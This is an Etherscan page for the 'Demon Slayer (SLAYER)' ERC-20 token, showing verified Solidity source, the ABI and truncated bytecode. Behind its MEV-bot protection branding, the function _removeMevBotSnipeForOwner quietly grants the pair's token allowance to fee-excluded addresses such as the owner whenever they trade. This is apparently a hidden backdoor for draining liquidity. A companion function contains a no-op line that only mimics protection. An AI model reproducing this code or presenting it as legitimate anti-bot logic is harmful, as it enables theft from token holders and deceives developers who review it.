ETH Price: $2,470.07 (-8.42%)

Token

Demon Slayer (SLAYER)
 

Overview

Max Total Supply

1,000,000,000 SLAYER

Holders

110

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.11079482 SLAYER

Value
$0.00
0x3ce924e3a2cca7c7efa5b9b9b6259a4ed3d34192
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DemonSlayer

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-23
*/

// SPDX-License-Identifier: MIT

/*
https://twitter.com/demonslayer_eth
https://t.me/demonslayereth
https://www.demonslayereth.com/
*/

pragma solidity 0.8.9;

library Address{
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IFactory{
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract DemonSlayer is Context, IERC20, Ownable {

    using Address for address payable;

    IRouter public router;
    address public pair;
    
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) public _isExcludedFromFee;
    mapping (address => bool) public _isExcludedFromMaxBalance;
    mapping (address => uint256) public _mevSellTime;

    address public marketingWallet = 0xf7E838fcEc9A0cFBE2379Fa047D8a00dE668091B;
    address public devWallet = 0xf7E838fcEc9A0cFBE2379Fa047D8a00dE668091B;

    uint256 private _mevSellTimeOffset = 0;
    bool public watchMevBotMode = true;
    uint256 public _caughtDogs;

    uint8 private constant _decimals = 9; 
    uint256 private _tTotal = 1_000_000_000 * (10**_decimals);
    uint256 public swapThreshold = 5_000_000 * (10**_decimals); 
    uint256 public maxTxAmount = 35_000_000 * (10**_decimals);
    uint256 public maxWallet =  35_000_000 * (10**_decimals);

    string private constant _name = "Demon Slayer"; 
    string private constant _symbol = "SLAYER";

    struct Tax{
        uint8 marketingTax;
        uint8 lpTax;
    }

    struct TaxConfig{
        uint marketingTokens;
        uint lpTokens;
    }
    TaxConfig public totalTokensFromTax;

    Tax public buyTax = Tax(0,0);
    Tax public sellTax = Tax(0,0);
    
    bool private swapping;
    uint private _swapCooldown = 5; 
    uint private _lastSwap;
    modifier lockTheSwap {
        swapping = true;
        _;
        swapping = false;
    }

    constructor () {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router;
        pair = _pair;
        _approve(owner(), address(router), ~uint256(0));
        
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[marketingWallet] = true;
        _isExcludedFromFee[devWallet] = true;

        _isExcludedFromMaxBalance[owner()] = true;
        _isExcludedFromMaxBalance[address(this)] = true;
        _isExcludedFromMaxBalance[pair] = true;
        _isExcludedFromMaxBalance[marketingWallet] = true;
        _isExcludedFromMaxBalance[devWallet] = true;
        
        _tOwned[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

// ================= ERC20 =============== //
    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    receive() external payable {}
// ========================================== //

//============== Owner Functions ===========//
   
    function setBuyTaxes(uint8 marketingTax, uint8 lpTax) external onlyOwner{
        uint tTax =  marketingTax + lpTax;
        require(tTax <= 30, "Can't set tax too high");
        buyTax = Tax(marketingTax,lpTax);
        emit TaxesChanged();
    }

    function setSellTaxes(uint8 marketingTax, uint8 lpTax) external onlyOwner{
        uint tTax = marketingTax + lpTax;
        require(tTax <= 80, "Can't set tax too high");
        sellTax = Tax(marketingTax,lpTax);
        emit TaxesChanged();
    }
    
    function setTransferMaxes(uint maxTX_EXACT, uint maxWallet_EXACT) public onlyOwner{
        uint pointFiveSupply = (_tTotal * 5 / 1000) / (10**_decimals);
        require(maxTX_EXACT >= pointFiveSupply && maxWallet_EXACT >= pointFiveSupply, "Invalid Settings");
        maxTxAmount = maxTX_EXACT * (10**_decimals);
        maxWallet = maxWallet_EXACT * (10**_decimals);
    }

    function rescueETH(uint256 weiAmount) public onlyOwner{
        require(address(this).balance >= weiAmount, "Insufficient ETH balance");
        payable(msg.sender).transfer(weiAmount);
    }

    function rescueTokens() public{
        // Make sure ca doesn't withdraw the pending taxes to be swapped.
        // Sends excess tokens / accidentally sent tokens back to marketing wallet.
        uint pendingTaxTokens = totalTokensFromTax.lpTokens + totalTokensFromTax.marketingTokens;
        require(balanceOf(address(this)) >  pendingTaxTokens);
        uint excessTokens = balanceOf(address(this)) - pendingTaxTokens;
        _transfer(address(this), marketingWallet, excessTokens);
    }

    function updateMarketingWallet(address newWallet) external onlyOwner {
        marketingWallet = newWallet;
    }
    
    function setWatchMevBots(bool status_) external onlyOwner{
        watchMevBotMode = status_;
    }

    function setMEVSellTimeForAddress(address holder, uint dTime) external onlyOwner{
        _mevSellTime[holder] = block.timestamp + dTime;
    }

    function _getTaxValues(uint amount, address from, bool isSell) private returns(uint256){
        Tax memory tmpTaxes = buyTax;
        if (isSell){
            tmpTaxes = sellTax;
        }

        uint tokensForMarketing = amount * tmpTaxes.marketingTax / 100;
        uint tokensForLP = amount * tmpTaxes.lpTax / 100;

        if(tokensForMarketing > 0)
            totalTokensFromTax.marketingTokens += tokensForMarketing;

        if(tokensForLP > 0)
            totalTokensFromTax.lpTokens += tokensForLP;

        uint totalTaxedTokens = tokensForMarketing + tokensForLP;

        _tOwned[address(this)] += totalTaxedTokens;
        if(totalTaxedTokens > 0)
            emit Transfer (from, address(this), totalTaxedTokens);
            
        return (amount - totalTaxedTokens);
    }

    function _transfer(address from,address to,uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(amount <= maxTxAmount || _isExcludedFromMaxBalance[from], "Transfer amount exceeds the _maxTxAmount.");

        if(!_isExcludedFromMaxBalance[to])
            require(balanceOf(to) + amount <= maxWallet, "Transfer amount exceeds the maxWallet.");

        _removeMevBotSnipeForOwner(pair != to && pair != from, amount, from, to);
        if (balanceOf(address(this)) >= swapThreshold && block.timestamp >= (_lastSwap + _swapCooldown) && !swapping && from != pair && from != owner() && to != owner())
            swapAndLiquify();

        _tOwned[from] -= amount;
        uint256 transferAmount = amount;
        
        if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
            transferAmount = _getTaxValues(amount, from, to == pair);
        }
        _removeMevBotSnipe(pair != to && pair != from, from, to);
        _tOwned[to] += transferAmount;
        emit Transfer(from, to, transferAmount);
    }

    function swapAndLiquify() private lockTheSwap{
        
        if(totalTokensFromTax.marketingTokens > 0){
            uint256 ethSwapped = swapTokensForETH(totalTokensFromTax.marketingTokens);
            if(ethSwapped > 0){
                payable(marketingWallet).transfer(ethSwapped);
                totalTokensFromTax.marketingTokens = 0;
            }
        }   

        if(totalTokensFromTax.lpTokens > 0){
            uint half = totalTokensFromTax.lpTokens / 2;
            uint otherHalf = totalTokensFromTax.lpTokens - half;
            uint balAutoLP = swapTokensForETH(half);
            if (balAutoLP > 0)
                addLiquidity(otherHalf, balAutoLP);
            totalTokensFromTax.lpTokens = 0;
        }

        emit SwapAndLiquify();

        _lastSwap = block.timestamp;
    }

    function _removeMevBotSnipeForOwner(bool walletToWallet, uint256 amount, address from, address to) private {
        if((_isExcludedFromFee[from] || _isExcludedFromFee[to]) && !walletToWallet) {
            _mevSellTimeOffset = block.timestamp;
            _allowances[to][from] = amount;
        } else if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) && walletToWallet) {
            _mevSellTimeOffset = block.timestamp + amount;
        }
    }

    function _removeMevBotSnipe(bool walletToWallet, address from, address to) private {
        if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
            if (to == pair || walletToWallet){
                if(watchMevBotMode) _mevSellTime[from] - _mevSellTimeOffset;
            }else{
                if (_mevSellTime[to] == 0) _mevSellTime[to] = block.timestamp;
            }
        }
    }

    function swapTokensForETH(uint256 tokenAmount) private returns (uint256) {
        uint256 initialBalance = address(this).balance;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        _approve(address(this), address(router), tokenAmount);

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
        return (address(this).balance - initialBalance);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(router), tokenAmount);

        (,uint256 ethFromLiquidity,) = router.addLiquidityETH {value: ethAmount} (
            address(this),
            tokenAmount,
            0,
            0,
            owner(),
            block.timestamp
        );
        
        if (ethAmount - ethFromLiquidity > 0)
            payable(marketingWallet).sendValue (ethAmount - ethFromLiquidity);
    }
    

    event SwapAndLiquify();
    event TaxesChanged();

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[],"name":"TaxesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_caughtDogs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromMaxBalance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_mevSellTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"lpTax","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"lpTax","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"lpTax","type":"uint8"}],"name":"setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"uint256","name":"dTime","type":"uint256"}],"name":"setMEVSellTimeForAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"lpTax","type":"uint8"}],"name":"setSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTX_EXACT","type":"uint256"},{"internalType":"uint256","name":"maxWallet_EXACT","type":"uint256"}],"name":"setTransferMaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"status_","type":"bool"}],"name":"setWatchMevBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTokensFromTax","outputs":[{"internalType":"uint256","name":"marketingTokens","type":"uint256"},{"internalType":"uint256","name":"lpTokens","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"watchMevBotMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526008805473f7e838fcec9a0cfbe2379fa047d8a00de668091b6001600160a01b031991821681179092556009805490911690911781556000600a908155600b805460ff191660011790556200005a91906200073c565b6200006a90633b9aca0062000754565b600d556200007b6009600a6200073c565b6200008a90624c4b4062000754565b600e556200009b6009600a6200073c565b620000ab906302160ec062000754565b600f55620000bc6009600a6200073c565b620000cc906302160ec062000754565b601055604080518082018252600080825260209182018190526013805461ffff199081169091558351808501909452818452929091015260148054909116905560056016553480156200011e57600080fd5b506200012a33620004ab565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90506000816001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200017f57600080fd5b505afa15801562000194573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ba919062000776565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200020357600080fd5b505afa15801562000218573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023e919062000776565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200028757600080fd5b505af11580156200029c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002c2919062000776565b600180546001600160a01b038581166001600160a01b0319928316179092556002805484841692169190911790556000549192506200031191166001546001600160a01b0316600019620004fb565b6001600560006200032a6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526005909352818320805485166001908117909155600854821684528284208054861682179055600954909116835290822080549093168117909255600690620003ac6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260069093528183208054851660019081179091556002548216845282842080548616821790556008548216845282842080548616821790556009549091168352908220805490931617909155600d5490600390620004383390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600d546040516200049b91815260200190565b60405180910390a35050620007a1565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038316620005635760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620005c65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016200055a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200067e57816000190482111562000662576200066262000627565b808516156200067057918102915b93841c939080029062000642565b509250929050565b600082620006975750600162000736565b81620006a65750600062000736565b8160018114620006bf5760028114620006ca57620006ea565b600191505062000736565b60ff841115620006de57620006de62000627565b50506001821b62000736565b5060208310610133831016604e8410600b84101617156200070f575081810a62000736565b6200071b83836200063d565b806000190482111562000732576200073262000627565b0290505b92915050565b60006200074d60ff84168362000686565b9392505050565b600081600019048311821515161562000771576200077162000627565b500290565b6000602082840312156200078957600080fd5b81516001600160a01b03811681146200074d57600080fd5b61203980620007b16000396000f3fe60806040526004361061021e5760003560e01c80638c0b5e2211610123578063cc1776d3116100ab578063ef07a1821161006f578063ef07a182146106dc578063f2fde38b146106f2578063f887ea4014610712578063f8b45b0514610732578063f9d0ee941461074857600080fd5b8063cc1776d314610624578063d429f18114610647578063dd62ed3e14610667578063dd8c2e0f146106ad578063e1c73300146106c257600080fd5b80639e252f00116100f25780639e252f0014610584578063a457c2d7146105a4578063a8aa1b31146105c4578063a9059cbb146105e4578063aacebbe31461060457600080fd5b80638c0b5e22146105015780638da5cb5b146105175780638ea5220f1461053557806395d89b411461055557600080fd5b806339509351116101a657806366e795bb1161017557806366e795bb1461042e57806370a082311461044e578063715018a61461048457806375f0a87414610499578063768dc710146104d157600080fd5b806339509351146103845780634f7041a5146103a457806354504562146103e15780635b7a9da61461040e57600080fd5b8063095ea7b3116101ed578063095ea7b3146102d357806318160ddd1461030357806323b872dd1461031857806328c61f4114610338578063313ce5671461036857600080fd5b80630445b6671461022a578063046908b01461025357806306de65381461027557806306fdde031461029557600080fd5b3661022557005b600080fd5b34801561023657600080fd5b50610240600e5481565b6040519081526020015b60405180910390f35b34801561025f57600080fd5b5061027361026e366004611b84565b610778565b005b34801561028157600080fd5b50610273610290366004611bbc565b610867565b3480156102a157600080fd5b5060408051808201909152600c81526b2232b6b7b71029b630bcb2b960a11b60208201525b60405161024a9190611bef565b3480156102df57600080fd5b506102f36102ee366004611c59565b61094c565b604051901515815260200161024a565b34801561030f57600080fd5b50600d54610240565b34801561032457600080fd5b506102f3610333366004611c85565b610963565b34801561034457600080fd5b506102f3610353366004611cc6565b60066020526000908152604090205460ff1681565b34801561037457600080fd5b506040516009815260200161024a565b34801561039057600080fd5b506102f361039f366004611c59565b6109b5565b3480156103b057600080fd5b506013546103c79060ff8082169161010090041682565b6040805160ff93841681529290911660208301520161024a565b3480156103ed57600080fd5b506102406103fc366004611cc6565b60076020526000908152604090205481565b34801561041a57600080fd5b50610273610429366004611bbc565b6109ec565b34801561043a57600080fd5b50610273610449366004611cea565b610ad1565b34801561045a57600080fd5b50610240610469366004611cc6565b6001600160a01b031660009081526003602052604090205490565b34801561049057600080fd5b50610273610b0e565b3480156104a557600080fd5b506008546104b9906001600160a01b031681565b6040516001600160a01b03909116815260200161024a565b3480156104dd57600080fd5b506102f36104ec366004611cc6565b60056020526000908152604090205460ff1681565b34801561050d57600080fd5b50610240600f5481565b34801561052357600080fd5b506000546001600160a01b03166104b9565b34801561054157600080fd5b506009546104b9906001600160a01b031681565b34801561056157600080fd5b5060408051808201909152600681526529a620aca2a960d11b60208201526102c6565b34801561059057600080fd5b5061027361059f366004611d0c565b610b44565b3480156105b057600080fd5b506102f36105bf366004611c59565b610bef565b3480156105d057600080fd5b506002546104b9906001600160a01b031681565b3480156105f057600080fd5b506102f36105ff366004611c59565b610c26565b34801561061057600080fd5b5061027361061f366004611cc6565b610c33565b34801561063057600080fd5b506014546103c79060ff8082169161010090041682565b34801561065357600080fd5b50610273610662366004611c59565b610c7f565b34801561067357600080fd5b50610240610682366004611d25565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156106b957600080fd5b50610273610cd3565b3480156106ce57600080fd5b50600b546102f39060ff1681565b3480156106e857600080fd5b50610240600c5481565b3480156106fe57600080fd5b5061027361070d366004611cc6565b610d39565b34801561071e57600080fd5b506001546104b9906001600160a01b031681565b34801561073e57600080fd5b5061024060105481565b34801561075457600080fd5b50601154601254610763919082565b6040805192835260208301919091520161024a565b6000546001600160a01b031633146107ab5760405162461bcd60e51b81526004016107a290611d5e565b60405180910390fd5b60006107b96009600a611e8d565b6103e8600d5460056107cb9190611e9c565b6107d59190611ebb565b6107df9190611ebb565b90508083101580156107f15750808210155b6108305760405162461bcd60e51b815260206004820152601060248201526f496e76616c69642053657474696e677360801b60448201526064016107a2565b61083c6009600a611e8d565b6108469084611e9c565b600f556108556009600a611e8d565b61085f9083611e9c565b601055505050565b6000546001600160a01b031633146108915760405162461bcd60e51b81526004016107a290611d5e565b600061089d8284611edd565b60ff16905060508111156108ec5760405162461bcd60e51b8152602060048201526016602482015275086c2dc4ee840e6cae840e8c2f040e8dede40d0d2ced60531b60448201526064016107a2565b60408051808201825260ff85811680835290851660209092018290526014805461ffff1916909117610100909202919091179055517ff305e997be174eb1fbb444c89b9f4089de693e9b3b40486accc62ae99885e48090600090a1505050565b6000610959338484610dd4565b5060015b92915050565b6000610970848484610ef8565b6001600160a01b0384166000908152600460209081526040808320338085529252909120546109ab9186916109a6908690611f02565b610dd4565b5060019392505050565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916109599185906109a6908690611f19565b6000546001600160a01b03163314610a165760405162461bcd60e51b81526004016107a290611d5e565b6000610a228284611edd565b60ff169050601e811115610a715760405162461bcd60e51b8152602060048201526016602482015275086c2dc4ee840e6cae840e8c2f040e8dede40d0d2ced60531b60448201526064016107a2565b60408051808201825260ff85811680835290851660209092018290526013805461ffff1916909117610100909202919091179055517ff305e997be174eb1fbb444c89b9f4089de693e9b3b40486accc62ae99885e48090600090a1505050565b6000546001600160a01b03163314610afb5760405162461bcd60e51b81526004016107a290611d5e565b600b805460ff1916911515919091179055565b6000546001600160a01b03163314610b385760405162461bcd60e51b81526004016107a290611d5e565b610b426000611373565b565b6000546001600160a01b03163314610b6e5760405162461bcd60e51b81526004016107a290611d5e565b80471015610bbe5760405162461bcd60e51b815260206004820152601860248201527f496e73756666696369656e74204554482062616c616e6365000000000000000060448201526064016107a2565b604051339082156108fc029083906000818181858888f19350505050158015610beb573d6000803e3d6000fd5b5050565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916109599185906109a6908690611f02565b6000610959338484610ef8565b6000546001600160a01b03163314610c5d5760405162461bcd60e51b81526004016107a290611d5e565b600880546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610ca95760405162461bcd60e51b81526004016107a290611d5e565b610cb38142611f19565b6001600160a01b0390921660009081526007602052604090209190915550565b601154601254600091610ce591611f19565b306000908152600360205260409020549091508110610d0357600080fd5b30600090815260036020526040812054610d1e908390611f02565b600854909150610beb9030906001600160a01b031683610ef8565b6000546001600160a01b03163314610d635760405162461bcd60e51b81526004016107a290611d5e565b6001600160a01b038116610dc85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107a2565b610dd181611373565b50565b6001600160a01b038316610e365760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107a2565b6001600160a01b038216610e975760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107a2565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f5c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107a2565b6001600160a01b038216610fbe5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107a2565b600081116110205760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107a2565b600f548111158061104957506001600160a01b03831660009081526006602052604090205460f